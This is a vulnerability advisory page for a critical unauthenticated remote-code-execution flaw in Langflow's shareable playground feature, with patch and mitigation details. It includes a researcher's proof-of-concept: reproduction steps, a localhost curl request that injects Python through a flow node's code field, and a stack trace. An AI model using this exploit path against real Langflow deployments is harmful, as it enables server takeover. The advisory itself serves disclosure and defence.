CVE-2026-48519 — langflow
CRITICALCVE-2026-48519 is a critical-severity (CVSS 9.6) Code Injection vulnerability in langflow. A fix is available for langflow — see the affected versions and patch details below.
Langflow: Unauthenticated RCE in Shareable Playgrounds
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48519.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-48519 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
langflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.
Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe
Details
Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.
Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID.
When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!
The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.
PoC
Reproduction:
- Create a new flow and add a Chat Input node to it
- Share the flow ("Shareable Playground")
- Access the public link with the browser developers tools open and execute the flow.
- Find the
/api/v1/build_public_tmproute and copy as cURL - Edit the
data.nodes[X].data.node.template.code.valueJSON field with any python code and run the cURL command.
Example PoC (replace flow ID with the correct one), and download test_with_python.json:
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
-H 'Content-Type: application/json' \
-b 'client_id=anything' \
--data-raw "$(cat test_with_python.json)"
Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.
The stacktrace for the code executed is:
...
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
ids, vertices_to_run, graph = await build_graph_and_get_order()
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
graph = await create_graph(fresh_session, flow_id_str, flow_name)
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
return await build_graph_from_data(
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
graph.add_nodes_and_edges(vertices, edges)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
self.initialize()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
self._build_graph()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
self._instantiate_components_in_vertices()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
vertex.instantiate_component(self.user_id)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
self.custom_component, _ = initialize.loading.instantiate_class(
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
custom_component: CustomComponent | Component = class_object(
File "<string>", line 59, in __init__
Impact
Unauthenticated RCE on any deployment with a shareable playground.
Ori Lahav Security Researcher @ Rubrik Inc.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langflow | all versions | 1.9.2pip install --upgrade 'langflow==1.9.2' |
Affected Products
langflowlangflowDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langflow to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48519 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-48519 in your dependencies?
Find it across PyPI, including transitive dependencies.